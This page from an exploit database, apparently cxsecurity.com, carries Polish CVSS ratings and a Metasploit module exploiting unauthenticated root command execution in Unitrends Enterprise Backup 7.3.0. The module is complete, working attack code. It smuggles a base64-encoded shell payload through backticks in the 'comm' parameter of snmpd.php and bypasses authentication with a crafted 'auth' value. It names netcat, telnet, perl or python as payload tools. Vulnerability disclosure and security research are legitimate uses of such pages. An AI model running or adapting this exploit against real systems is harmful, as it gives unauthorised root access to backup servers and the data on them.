Unitrends Unauthenticated Root Command Execution

2014-04-16 / 2014-05-05
Credit: Brandon Perry
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Unitrends Unauthenticated Root RCE", 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module ], 'References' => [ ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Unitrends Enterprise Backup 7.3.0', {}] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python telnet netcat perl' } }, 'DisclosureDate' => "Mar 21 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), ], self.class) end def exploit pay = Rex::Text.encode_base64(payload.encoded) get = { 'type' => 'update', 'sid' => '1', 'comm' => 'notpublic`echo '+pay+'|base64 --decode|sh`', 'enabled' => '1', 'rx' => '4335379', 'ver' => '7.3.0', 'gcv' => '0' } post = { 'auth' => '1:/usr/bp/logs.dir/gui_root.log:100' } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'recoveryconsole', 'bpl', 'snmpd.php'), 'vars_get' => get, 'vars_post' => post, 'method' => 'POST' }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top